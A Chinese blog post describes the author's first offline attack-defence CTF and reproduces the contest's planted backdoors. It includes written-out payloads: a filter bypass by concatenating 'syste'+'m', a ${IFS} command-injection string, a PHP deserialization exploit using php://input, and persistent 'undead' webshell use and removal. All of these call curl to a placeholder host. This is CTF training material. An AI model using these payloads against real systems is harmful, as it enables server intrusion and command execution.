记第一次线下AWD感受及复现
前言:
之前忙于期末復習,沒有及時總結當時參賽的感受及復現,這次就來總結一下。
第一次參賽線下AWD感受
由于是第一次參加AWD比賽,各方面經驗都不足,在參賽的前幾天也是瘋狂搜集各種腳本、框架、工具等,同時也參考大師傅的博客進行學習,下面就敘述一下我學習的過程:
一、進行備份
看了很多大師傅的博客,有的師傅博客中寫到有些AWD比賽可能給的SSH賬戶密碼相同,所以可以下載一些Github上修改SSH密碼的批量腳本,可以讓對手在一開始就丟分,但是經過這次比賽,發現其實現在的比賽已經不會再出現這種人為的漏洞了,主辦方也會避免這種漏洞出現,否則整場比賽也沒什么意意義了,因此我覺得批量修改SSH密碼的腳本在線下賽是沒有用處的,不過最好也備份一份,萬一主辦方懶那(那就有點爽了)。。。
那一開始比賽的時候要做什么,比賽一般都是三個人一隊,要想在短時間內獲得flag且防護好自己的靶機,就需要隊伍內部提前明確好分工,這樣效率會很高。
除此之外還需要finalshell這個工具,這個工具是用來連接你的靶機的,非常方便,只需輸入靶機IP、SSH賬號密碼即可控制自己的靶機、為備份、掛waf等做準備
比賽開始,第一步進行備份,最好使用可視化工具FileZilla FTP Client進行備份,也可以用linux本身的壓縮打包命令,備份的目的在于萬一對方利用漏洞進入你的靶機將你的WWW下的目錄給刪除了,如果你沒有備份就相當于宕機了,那就等著扣分吧,因此備份是非常重要的,使用主辦方給的SSH賬號密碼、主機IP進行連接備份
二、查找預留后門或漏洞
備份的另一個好處就是可以審計源碼,因為大家的WWW目錄下的服務都是一樣的,因此如果我們能率先在源碼中找出漏洞的話便可以收一波分,這里就用到D盾,可以用這個工具查出是否有預留后門或其他利用點
這樣也有一個進行攻擊的方向,除此之外還有一個便是Seay源代碼審計工具
這個也可以提供一個你攻擊的方向
三、備好或寫腳本
腳本、腳本、腳本!!!非常重要,參加一次比賽發現真的腳本能力實在是太重要了,發現漏洞很重要,但是如果不會寫出相應的批量腳本,你可以想象一下那么多只隊伍,三個人手動提交,flag到后面每五分鐘刷新一次,效率又低又累的要死,因此無論如何都要提高腳本能力(雖然我的腳本很爛,但一定會慢慢提高的),AWD比賽到后面就是比的腳本能力,前提是你要先找出漏洞。如果你和我一樣目前腳本能力都很弱,也不用慌張,大師傅們的Github上有很多人家寫好的,只需我們看懂,會改就可以用,這里我就不列舉資源了,谷歌百度一搜索一堆??傊痪湓?#xff0c;學好python,學會自己寫腳本,真的很重要!!!
還有就是備份一下常見的POC,因為大多數AWD比賽都是各種CMS,這些CMS或多或少都存在漏洞,有時POC可以幫大忙,GitHub上都有,這里就不列出了
四、心態
參加一次比賽,基本流程就是上面的了,但我覺得有一點很重要,不要抱著我們必須拿多少名次的心態,就放平心態,不要慌張,如果被人打了,要去審查日志,看大師傅是怎么打你的,如果看出人家利用的攻擊方式,那你就可以利用這個點拿分,如果心態崩了,整場游戲將毫無樂趣,切記調整好心態,前幾次參賽就不要太在乎名次,有更好,沒有繼續努力,不過需要總結之前是失敗到哪里了,不能在一個坑中連續跌倒多次,這樣才能進步。
二、復現
這次的比賽算是比較照顧新手了,沒有出現CMS官方的一些漏洞,因此POC也就沒用到,而是主辦方給選手留了很多預留后門,比賽時只成功利用了一個(我們比較菜)但還是刷了不少分,比賽結束了就將所有的預留漏洞都來復現一下,不能因比賽結束后就什么也不做。
首先先連接上自己的靶機
利用工具連接到靶機,并找到WWW目錄進行備份相應的服務
備份成功后進行D盾掃描
發現有三個可疑點,先來看第一個
第一個預留后門:預留后門
一句話木馬,直接上蟻劍
連接成功便可以使用curl命令獲取你想要的flag了,但是這么簡單的后門大家都知道,所以這就需要拼手速了,腳本的重要性便體現出來了
這是大師傅之前寫的,我們只是在修改了具體的一些參賽,但也因此獲得了很多flag,所以腳本是真的很重要!!!,其實自己觀察腳本的話,發現也不是很難,重要的便是在于思路,還是要多加練習。
第二個預留后門:冰蝎一句話
我們是真的菜,當時比賽的時候竟然就沒發現這個冰蝎一句話,復現的時候發現這個冰蝎馬還是下載冰蝎時自帶的馬。。。
唉,當時如果看出來就第一了,繼續加油吧,還是懂的太少!
第三個預留后門:常見繞過
這串代碼過濾很多高危函數字符如常用的system等
如果繞開遍歷便可以輸入惡意語句,那就需要考慮如果進行繞過了,可以利用拼接的方式進行繞過:
payload:
?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');確實是可以利用的,越復現感覺自己越菜。。。
第四個預留后門:命令執行+變量覆蓋
這個最可惜,當時我們被打的時候,發現有人是通過一個ping_test.php文件來請求的,我們就查看了一下這個文件,果然是命令執行,但是過濾了一些東西
通過觀察發現引入一個define.php文件,查看文件發現
很明顯的看出了過濾了空格,不行了不能復現了,我想打自己
繞過空格的方法有%09、${IFS}
payload:
des=| curl${IFS}xxx第五個預留后門:信息收集+反序列化+文件包含
在審計源碼的時候,發現在admin.php中發現有一句提示
既然如此就去查看MySQL的history,看一下改變了什么
這個目錄保存著對MYSQL的操作記錄,這里由于我是在自己本地搭建所以沒有信息,不過在比賽的時候應該是會提示到\html\public\ueditor\php\controller.php,再觀察phpinfo,發現allow_url_include為On,所以可以使用php://input協議可直接getshell
查看文件發現
很明顯了直接進行反序列化
官方給的POC
class Control{public $file = '<?=phpinfo();?>';private $flag; public function __destruct(){if(isset($this->file) && !preg_match('/<\?/is', $this->file)){ require($this->file); }} } $a = new Control(); $a->file = 'php://input'; echo serialize($a);在線運行一下
請求:
POST傳入
<?php system('curl xxx'); ?>
但這里我沒有復現成功
小插曲:上傳不死馬
在一開始蟻劍連接上了就想著放入一個不死馬
發現一直是失敗,明明比賽給的權限是root,所以就沒有管,待后面公布WP才知道是在upload文件夾下有權限上傳。。。。
哎呀 不行寫完這篇總結打一句聯盟發泄一下,我怎么這么菜啊
下面就說一下如何用不死馬,以防自己忘記
這便是常見的不死馬,密碼自己設置并且進行md5加密,我這里設置的是lemon
如果上傳不死馬成功后,就先來觸發
觸發成功,進行查看
木馬出現,進行連接
利用成功!!!
如果自己靶機被別人種了不死馬,如果有權限可以使用service apache2 restart,直接刪除即可
如果沒有權限重啟就kill掉www-data用戶的所有子進程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
確實刪除成功
三、創建一個和不死馬生成的馬一樣名字的目錄
太菜了,沒復現成功,具體看其他大師傅的吧!!
四、編寫一個使用ignore_user_abort(true)函數的腳本,一直競爭寫入刪除不死馬文件,其中usleep()的時間必須要小于不死馬的usleep()時間才會有效果
<?php while (1) {$pid = 不死馬的進程PID;@unlink(".ski12.php");exec("kill -9 $pid");usleep(1000); } ?>總結:
我比較喜歡第二種殺進程的,因為比較簡單,估計之后會遇到其他的,之后再說吧,不過我是真的菜的一批,一定要好好練腳本能力,這些對大師傅沒有什么技術含量,不要噴我。。。
總結
以上是生活随笔為你收集整理的记第一次线下AWD感受及复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 原理+实战掌握SQL注入方法
- 下一篇: 个人博客继续更新,CSDN不再更新